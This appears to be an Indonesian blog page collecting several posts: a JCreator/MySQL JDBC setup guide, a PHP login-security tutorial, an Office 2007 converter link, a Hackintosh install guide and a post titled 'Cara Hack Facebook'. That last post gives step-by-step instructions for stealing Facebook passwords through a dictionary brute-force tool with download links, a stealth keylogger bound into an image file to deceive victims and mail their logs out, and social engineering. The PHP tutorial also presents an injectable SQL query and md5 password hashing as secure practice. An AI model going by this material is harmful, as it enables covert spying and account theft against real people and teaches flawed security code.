NB : untuk mengkoneksikan java dengan mysql,

kita perlu menyetting pada JCreator–>applikasi untuk membuat java file.

jcreator.gif

Selain itu kita juga harus memiliki file mysql-connector-java-3.1.6-bin—-> file inilah yang digunakan sebagai connector.

Langkah-langkahnya seperti gambar di bawah ini :

Pertama : pilih tab Configure, pilih Options

java_option.gif

Langkah kedua : pilih JDK Profiles, jika belum ada klik New, dan cari folder j2sdk1.41 pada drive dimana anda menginstalnya.

option.gif

Langkah ketiga : pilih add archive —-> tempat dimana file mysql-connector-java-3.1.6-bin berada.

option2.gif

Langkah keempat : memasukkan file mysql-connector-java-3.1.6-bin, setelah itu klik Ok, Apply.

option3.gif

Nah, sekarang anda dapat mengkoneksikan java dengan database mysql. Selamat mencoba…
Read More … Meng-koneksikan Java dengan MySQL menggunakan JDBC
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Keamanan Login pada Web php

Tulisan ini diperuntukan bagi para newbie yang ingin membuat system login pada webnya dengan php. Saya akan melampirkan beberapa hal dasar yang harus kita perhatikan ketika membuat system login beserta contoh script sederhana. Apa yg akan saya paparkan berikut ini sebenarnya sangat umum dan dapat diperoleh dari berbagai sumber yang berhub dgn php. Semoga dapat memberi sedikit info tambahan untuk newbie-newbie baru.Ok langsung kita mulai.

Berikut ini hal-hal yg harus kita pertimbangkan ketika membuat login:
1.Pastikan form login adalah form dari server kita.
2.Amankan input text untuk user dan password,metoda dan format data.
3.Hindari penggunaan register global (untuk php v 4.2.0 keatas sdh disable).
4.Expired time dari login yang dilakukan.
5.Pastikan file yang tidak boleh diakses tidak dapat dipanggil secara langsung.

Sekarang contoh dari script untuk hal-hal tersebut.Saya hanya melampirkan satu logika dari banyak kemungkinan lain dalam membuatnya.Logika ini akan sangat beragam jadi bukanlah satu-satunya cara ataupun cara yang paling baik,silahkan buat sendiri untuk yg lebih baik atau lihat referensi lain.

1.Pastikan form login berasal dari server kita:

//file ini bernama index.php
login
Username:
Password:
”>


//akhir script index.php

-saat membuat form login(ex: index.php)sebagai default kita mulai dengan membuat session baru.
-session_name disini sebagai refrensi untuk session id di cookies dan URL.
-lalu daftarkan suatu variabel session baru SES_TOKEN dgn memakai fungsi session_register.
-Buat token berupa kata acak yg akan kita gunakan utk memastikan form-adalah dari kita.
-Lalu Encript token agar lebih rumit.(Pada dasarnya token ini mirip dgn session id)
-Tambahkan variabel enkript token tsb dalam form melalui hidden.
-Lalu pada file “cekmasuk.php” kita lakukan pemeriksaan apakah data yg kita terima dari form yg kita buat sebelumnya, akan saya jelaskan pada script cekmasuk.php.

2.Amankan input text untuk user dan password,metoda dan format data.
Pada saat kita menerima data maka sebelum kita olah data tersebut(utk kasus ini adalah user dan password),maka harus kita pastikan data tersebut tidak disisipi niat jahat. Untuk itu maka kita buat suatu fungsi filter,fungsi ini akan kita gunakan pada script
cekmasuk.php yang akan saya lampirkan diakhir.
//fungsi filter

function filter($word) { $word = stripslashes(trim($word)); $word = nl2br($word); $word = htmlentities($word); return $word ; }

Ini hanya contoh simple dengan memanfaatkan fungsi yg ada di php.Kita dapat tambahkan dengan membuat fungsi sendiri, misalkan filter kata-kata kotor(dijasakom sudah ada yg melampirkan),atau memanfaatkan regex untuk validasi yg lain.Silahkan berkreasi.

3.Hindari penggunaan register global (untuk php v 4.2.0 keatas sdh disable/off).
Untuk hal ini maka kita dapat memperoleh data yg dikirim melalui predefine variabel milik php,yaitu:
$HTTP_GET_VARS(untuk metoda get).
$HTTP_POST_VARS(untuk metoda post).dan masih ada lagi yg lainnya.

4.Expired Time dari login yang dilakukan.
Setiap login yg dilakukan user sering kali mereka tidak melakukan logout,hanya mendiamkan atau malah meninggalkan ketika masih login.Oleh karena itu expired time ini adalah wajib dalam sistem login.
Script secara lengkap akan ada pada script “cekmasuk.php”.

$refresh_time=10; //dalam menit $chour = date(“H”); //jam $cmin = date(“i”); //menit $csec = date(“s”); //detik $cmon = date(“m”); //bulan $cday = date(“d”); //tanggal $cyear = date(“Y”); //tahun
//waktu saat ini ketika mengakses $ctimestamp = mktime($chour,$cmin,$csec,$cmon,$cday,$cyear);
//penambahan waktu mengakses akan digunakan untuk expired time $ttimestamp = mktime($chour,$cmin+$refresh_time,$csec,$cmon,$cday,$cyear);

5.Pastikan file yang tidak boleh diakses tidak dapat dipanggil secara langsung.
Berikan fungsi berikut disetiap awal script yg tdk anda inginkan dapat diakses langsung

if(ereg(‘cekmasuk.php’, $SCRIPT_NAME)) { header(“Location: http://domainanda.com/index.php”); die; }
/********************************************************************/ // //script akan menerima metoda post dari index.php //file ini bernama cekmasuk.php”" and $password<>”")

{ session_name(“secretsession”); session_start(); switch ($_POST['form']) { case ‘login’: $allowed = array(); $allowed[] = ‘form’; $allowed[] = ‘user’; $allowed[] = ‘password’; $allowed[] = ‘enctoken’; $allowed[] = ‘submit’; $sent = array_keys($_POST); if ($allowed == $sent) { if($_POST['enctoken']<>$SES_TOKEN)//periksa apakah form berasal dari kita atau session yg sama { //jika tidak maka kembali ke form session_destroy(); header(“Location: http://domainanda.com/index.php”); exit; }
else { $clean_user=filter($_POST['username']);//bersihkan inputan $clean_password=filter($_POST['password']); //definisi waktu untuk expired time if (authentication($clean_user,$clean_password))//cek user dalam database { $refresh_time=10; //dalam menit $chour = date(“H”); //jam $cmin = date(“i”); //menit $csec = date(“s”); //detik $cmon = date(“m”); //bulan $cday = date(“d”); //tanggal $cyear = date(“Y”); //tahun $ctimestamp = mktime($chour,$cmin,$csec,$cmon,$cday,$cyear); $ttimestamp = mktime($chour,$cmin+$refresh_time,$csec,$cmon,$cday,$cyear); session_register(“SES_PASSWORD”);//daftarkan session variabel baru session_register(“SES_USERNAME”); session_register(“SES_HASH”); session_register(“T_TIMESTAMP”); $T_TIMESTAMP=$ttimestamp; $hashtoken=createRandomtoken();//buat token baru untuk disisipkan dalam setiap page system login
$enchash=enc_token($hashtoken);//token ini akan memastikan page hanya yg dari server dengan session yg sama $SES_HASH=$enchash; $SES_USERNAME=$clean_user; $SES_PASSWORD = $clean_password; } else { unset ($submit); unset ($user); unset ($password); } } } break; } } else { session_name(“secretsession”); session_start(); opendb(); $query= “select * from $table_admin where nama=’$SES_USERNAME’”;//misalkan
database user ada pd table admin $hasil= querydb($query); $data= mysql_fetch_array($hasil); closedb(); $USERNAME = $data["nama"]; $PASSWORD = $data["password"]; $HASH_TOKEN=$hash_token;
//untuk exired timed $refresh_time=10; //dalam menit $chour = date(“H”); //jam $cmin = date(“i”); //menit $csec = date(“s”); //detik $cmon = date(“m”); //bulan $cday = date(“d”); //tanggal $cyear = date(“Y”); //tahun $ctimestamp = mktime($chour,$cmin,$csec,$cmon,$cday,$cyear); $ttimestamp=$T_TIMESTAMP; if ($ttimestamp < $ctimestamp) { session_unregister(“SES_PASSWORD”); session_unregister(“SES_USERNAME”); session_unregister(“SES_HASH”); session_unregister(“T_TIMESTAMP”); session_destroy(); header(“Location: http://domainanda.com/index.php”); exit; } $ttimestamp = mktime($chour,$cmin+$refresh_time,$csec,$cmon,$cday,$cyear); $T_TIMESTAMP=$ttimestamp; } /********************************************************************/ //mulai fungsi pendukung function authentication($user, $pass) { global $table_admin; opendb(); $query=”select * from $table_admin where nama=’$user’”; opendb(); $hasil=querydb($query); closedb(); $data = mysql_fetch_array($hasil); $pass_inDB=$data["password"]; $enc_pass = md5($pass); if($pass_inDB == $enc_pass) { return TRUE; } else { return FALSE; } closedb(); } ?>
/********************************************************************/

Script tersebut dapat kita gunakan pada page yg berada dalam system login,ex: udahmasuk.php Maka dapat kita memanfaatkan dengan cara berikut:

//File ini bernama udahmasuk.php
-Fungsi opendb(),querydb(),closedb() adalah fungsi yg sy buat utk akses database,silahkan anda buat sendiri.
-Dengan menggunakan script tersebut bukan berarti kita telah membuat system login yg aman.Ingat ini hanya”Beberapa Hal Dasar”.
-Penambahan kata rahasia pada pembentukan token bisa menambah tingkat kesukaran untuk di tebak.
-Akhir kata seluruh hasil script tersebut bukanlah murni pemikiran saya tetapi merupakan penggabungan dari berbagai script yg sudah ada baik dari contoh help php, dan beberapa tulisan lain diantaranya adalah milik Chris Shiflett dan Jeff Johns.
-Untuk lebih jelas bagaimana memakai fungsi yg ada silahkan “RTFM”.
-Agar lebih mendalami masalah keamanan php silahkan kunjungi Chris Shiflett artikel di http://shiflett.org
-Tulisan Jeff Johns dapat anda lihat di http://www.phpfreaks.com


Read More … Keamanan Login pada Web php
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

File Converter Office 2007

Pernah merasa jengkel karena ga bisa membuka file MS Office 2007 di MS Office 2003?
Jika anda pernah mengalaminya, tenang…
Jangan terburu-buru untuk mengganti Office anda menjadi Office 2007.
Anda bisa menggunakan Converter yang disediakan pihak Microsoft.

====================================
File Format Converter
====================================
Dengan “Compatibility Pack” ini, para pengguna
microsoft office 2003 maupun microsoft office XP,
dapat support (open edit, dan save) file dokument word,
excel dan powerpoint kamu ke dalam format file
microsoft office 2007. More…Pengguna yang masih setia dengan
office 2003 dan XP tidak harus berpindah ke ms office 2007,
bila hanya menginginkan support terhadap office 2007.
“Compatibility Pack” ini juga dapat digunakan oleh
Microsoft Office Word Viewer 2003, Excel Viewer 2003,
dan PowerPoint Viewer 2003 untuk membuka file-file yang
disimpan dalam format Ms Office 2007.

Silahkan Download disini…..
Read More … File Converter Office 2007
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Install MacOs Leopard di Pc/Laptop

Udah lama nie ga posting karena kerjaan numpuk… dan akhirnya saya posting juga nie artikel. Sewaktu baca judulnya, anda pasti heran, apa bias MacOs di install di pc ato laptop biasa. Jawabnya BISA.

Yaph, team Hackintosh mengeluarkan versi MacOs yang dapat di install di PC/Laptop berbasis Intel ataupun Amd. Hanya saja prosessor anda harus mendukung SSE2/SSE3. Untuk memastikan apakah prosessor anda support, anda dapat mengecek dengan menggunakan applikasi CPU-Z.
Ok deh, langsung aja yakz…
Spesifikasi Laptop saya :
Acer 5583 NwxMi
1 Processor Core2Duo T5500 with 2Mb L2 Cache
2 4Gb of RAM
3 80Gb Harddisk
4 DvdRw
5 Etc
Saya menggunakan Leopard Kalywal.
Yang perlu disiapkan :
1. Laptop/Pc tentunya
2. Dvd Installer Leopard
3. Print Artikel ini siapa tau anda membutuhkan. Hehe…
Proses Instalasi :
NB: Pada laptop, umumnya kita tidak bias utak-atik setting bios. Paling2 hanya setting boot sequence nya. Setting boot pertama dari DVDROM anda.
1. Masukkan DVD installer Leopard, dan boot.
2. Sabar… proses boot lumayan memakan waktu.
3. Selanjutnya adalah pemilihan bahasa.
4. Kemudian proses format harddisk anda dengan filesystem Macos. < bisa anda buat sesuai dengan keinginan anda >.
5. Proses Installasi, pilih Customize untuk menentukan paket tambahan yang akan di install.
6. Tunggu hingga Instalasi selesai.
7. Setelah instalasi selesai, restart laptop/pc anda.
8. Jika instalasi berhasil, anda akan muncul Welcome Screen.
9. Kemudian input data diri anda.
10. siiippp…. Anda dapat menggunakan Leopard sekarang :)
Catatan : Pada beberapa jenis laptop/pc mengalami kegagalan dalam proses instalasi. Artikel selanjutnya akan membahas mengenai masalah-masalah yang mungkin timbul dan cara penyelesainnya. Tunggu ya….makanya rajin2 baca artikel terbaru…hehe :)
Read More … Install MacOs Leopard di Pc/Laptop
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Cara Hack Facebook | Password Facebook


Sebenarnya banyak sekali Cara Hack Facebook atau Cara Hack Password Facebook, kali ini ada 3 cara Hack yang akan saya coba share untuk sahabat blog dofollow, Semoga tips dibawah ini bermanfaat ya.

Berikut ini adalah 3 Cara hack Facebook terbaru:
- Menggunakan FacebooZ
- Menggunakan Keylogger
- Menggunakan Social Attack

- Menggunakan FacebooZ
Hack facebook menggunakan FacebooZ adalah cara hack facebook yang cukup rumit , untuk cara hack facebook menggunakan FacebooZ , anda harus mempunyai program internet berupa software Java dari Sun Microsystem dan Framework minimal edisi 2.0 , bila di komputer anda tidak terpasang software ini , cobalah untuk melakukan cara hack facebook menggunakan FacebooZ ini di warnet , bila masih tidak ada fasilitas java dan Frameworknya , maka ikuti langkah langkah yang ada di bawah ini untuk cara hack facebook menggunakan FacebooZ.

Untuk Java :

1. Buka Alamat Web http://jdl.sun.com/webapps/getjava/BrowserRedirect?locale=en&host=www.java.com:80

2. Download Penginstall Java Tersebut ke Komputer anda , tetapi bila anda menemukan tulisan seperti di bawah ini , berarti anda tidak perlu menginstallnya lagi:

Verifying Java Version
Congratulations!
You have the recommended Java installed (Version - Update --).

If you want to download Java for another computer or Operating System, see all Java downloads here.

To find out if Java is working on your system please visit:
Test your Java Virtual Machine (JVM)

3. Install Program Java tersebut di komputer anda.

Untuk FrameWork :

1. Buka Alamat Web ,http://www.microsoft.com/downloads/en/confirmation.aspx?familyId=0856eacb-4362-4b0d-8edd-aab15c5e04f5&displayLang=en

2. Download FrameWork

3. Install program tersebut di komputer anda

Setelah mempersiapkan semua persiapan tadi , saatnya untuk ngopi menjalankan cara hack facebook menggunakan :D FacebooZ. Untuk menggunakan FacebooZ , silahkan ikuti langkah langkah di bawah ini.

1. Download Facebook di

http://www.ziddu.com/download/6202817/Groundfacebook.rar.html
dan
http://www.ziddu.com/download/6202880/Document1.pdf.html

2. Gunakan FacebooZ dengan bijak mengextract file zip tersebut , kalau anda belum punya WinZip silahkan cari di google dengan kata kunci "WinZip gratis atau Free WinZip" .Maaf untuk link untuk download WinZip ini tidak disediakan berhubung saya capek :D

3. Klik File yang bernama facebooZ.jar, kalau sudah memenuhi 2 syarat penggunaan cara hack facebook menggunakan facebooZ , lihat di atas

4. Maka akan tampil program FacebooZ , lalu anda kira kira sendiri, buka notepad , diisikan dengan kata kunci dari kamus indonesia-inggris dan data data si korban , misalkan di notepad diisikan tanggal lahir , alamat , hobi dan lain lain , lihat saja tulisan di bawah ini.

17 Agustus 1945 (merdeka !)
Jalan Di Hack Nomor 666 , Perumahan Nge Hack Gile Ajib !
Mancing,Hack Orang,Nungging Jangan Ditiru , Bahaya !

Makanan
Minuman
Berlari
Bekerja
Bermain
Eating
Drinking
Running
Playing

Lalu save dengan nama password.txt

5. Tunggu Hasilnya , hasilnya agak lama tapi cobalah untuk bersabar dengan cara hack facebook yang satu ini :D

- Menggunakan Keylogger
Cara hack facebook yang satu ini juga termasuk sulit dalam pengoperasiannya tapi cara hack facebook ini sangat efektif dan dapat memberikan anda banyak password selain password facebook , untuk menjalankan cara hack facebook ini langsung saja ikuti langkah langkah di bawah ini :

Download Perfect Keylogger di blazingtools.com .Perfect keylogger bisa berjalan pada Windows 95, NT4, 98, Me, 2000, XP, Server 2003/2008, Vista. Serta internet Explorer 5.0 atau yang terbaru.

Untuk membuktikan kehebatan perfect keylogger, berikut ini langkah-langkahnya :

1. Jalankan file setupnya

2. Ketika dalam proses instalasi anda akan diminta memasukan nama panggilan untuk perfect keylogger, ini juga kelebihan perfect keylogger. Dengan begini maka perfect keylogger lebih dapat tersamarkan keberadaanya.

3. Setelah itu anda diminta untuk menentukan keberadaan instalasi program perfect keylogger ini, apabila anda menaruh di tempat-tempat yang lebih dalam di folder WINDOWS maka ini juga dapat menghindari perfect keylogger ketahuan. Dan dalam bagian proses instalasi ini terdapat jenis instalasi perfect keylogger, apakah anda ingin menginstall secara regular atau stealth. Apabila anda menginstall Stealth maka yang akan di install hanya mesin programnya saja tanpa file Help dan Uninstaller.

4. Karena softwae ini adalah versi trial, jadi hanya berlaku 5 hari saja. Untuk bisa menggunakan dalam jangka waktu panjang, anda harus membeli serial numbernya. Meski demikian, semua fitur dalam versi trial ini sudah terbuka dan cukup untuk membuktikan kecanggihannya.

5. Klik Continue Evaluation untuk melanjutkan dengan Demo version ini. Lalu akan terbuka programnya. Untuk melihat properti dan settingan dari keylogger ini anda dapat lihat di pojok kanan bawah monitor anda.

6. Klik kanan logo tersebut dan akan muncul pop up menu dari perfect keylogger. Pilih menu Option untuk melihat dan men-setting keylogger-nya.

7. Pertama-tama kita set terlebih dahulu Hotkeys untuk memanggil Perfect Keylogger, secara default kombinasi tombol Ctrl+Alt+L dipakai untuk memanggil Perfect Keylogger. Untuk lebih aman anda atur sendiri kombinsai tombol tersebut. Lalu setting Invisibility untuk mengatur kesamaran keylogger.

8. Lalu kita lihat menu Logging, disini dapat anda set objek/hal apa saja yang anda ingin rekam dalam keylogger ini. Lalu anda dapat menset password keylogger ini supaya tidak ada orang lain yang dapat mengakses keylogger ini selain anda.

9. Hasil logging terhadap hentakan keyboard dapat dilihat dengan akses pop up menu tadi dalam jendela Log Viewer.

10. Lalu di dalam menu Screenshots, anda dapat menset settingan Perfect Keylogger untuk merekam screenshot komputer korban. Disini dapat di setting waktu, kualitas gambar, ukuran gambar dan screenshots ketika adanya hentakan pada tombol mouse.

11. Di menu E-mail, anda dapat mengatur laporan log Perfect Keylogger untuk dikirimkan ke email anda. Disini anda dapat men-set waktu pengiriman, log apa saja yang akan dikirim, besar limit file dan lainnya.

12. Dalam tab Delivery anda diharuskan mengisi form yang disediakan sebagai syarat dalam pengiriman file ke email anda. Perfect Keylogger hanya bisa mengirim file ke email yang memiliki smtp dan fasilitas POP3 jadi hotmail dan yahoo tidak bisa digunakan. Untuk lebih mudahnya, sebaiknya gunakan email telkomnet atau plasa karena setting pop3 dan smtp untuk keduanya sangat mudah. Pada kotak isian smtp, isilah dengan “smtp.telkom.net” tanpa tanda kutip.

13. FTP akses pun perlu apabila port 80 ataupun 25 ditutup, supaya jaga-jaga file anda tidak terkirim. Di tab Delivery anda harus menset alamat FTP dan user password maupun direktori FTP tersebut.

14. Remote Installation. Menu ini adalah keunggulan lainnya dari Perfect Keylogger, karena Perfect Keylogger akan membentuk sebuah executable file yang digabungkan dengan file apapun. Jadi lebih mirip trojan yang dibungkus file gambar. Perlu diingatkan file remote executable yang telah terbentuk tadi terbentuk dengan settingan Perfect Keylogger anda pada awal tadi.

15. Ketika anda masuk ke menu dimana anda diminta untuk memilih sebuah file untuk di kombinasikan dengan Perfect Keylogger remote exe.anda dapat men-set juga tanggal uninstalisasi apabila anda ingin menghilangkan keylogger tersebut di komputer korban pada waktu tertentu. Untuk kombinasi file lebih baik menggunakan gambar agar korban tidak curiga. Dan isikan juga lokasi folder instalasi keylogger di komputer korban nantinya.

16. File remote pun terbentuk. Silahkan tes remote file tadi. Pengetesan sebaiknya dilakuan pada Vmware ataupun Virtual PC agar anda tidak menjadi korban. Perlu diingatkan file remote executable yang telah terbentuk tadi terbentuk dengan settingan Perfect Keylogger anda pada awal tadi.

17. Perfect Keylogger tidak terdeteksi Remove program dan Window Task Manager. Ini berarti Perfect Keylogger benar-benar tidak terdeteksi dan patut dikatakan PERFECT.

Jika Perfect Keylogger bekerja dengan baik, semua aktifitas user di komputer tersebut akan terpantu dengan baik termasuk password emailnya. Lebih celakanya lagi, jik auser tersebut melakukan transaksi jual beli online menggunakan kartu kredit atau e-banking. Maka semuanya akan terpantau.

- Menggunakan Social Attack
Cara hack facebook yang ini paling sederhana dan mudah dilakukan semua orang , dengan bermodalkan keakraban , anda bisa mengatahui password orang tersebut dengan memintanya saja. Untuk itu anda harus mempunyai status sosial yang agak tinggi supaya anda bisa mendapatkan password dengan social attack.

Sekali lagi semoga bermanfaat ya informasi Cara Hack Facebook yang telah saya share di atas. Salam timontius-pangestu.blogspot.com
Read More … Cara Hack Facebook | Password Facebook
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

i-teko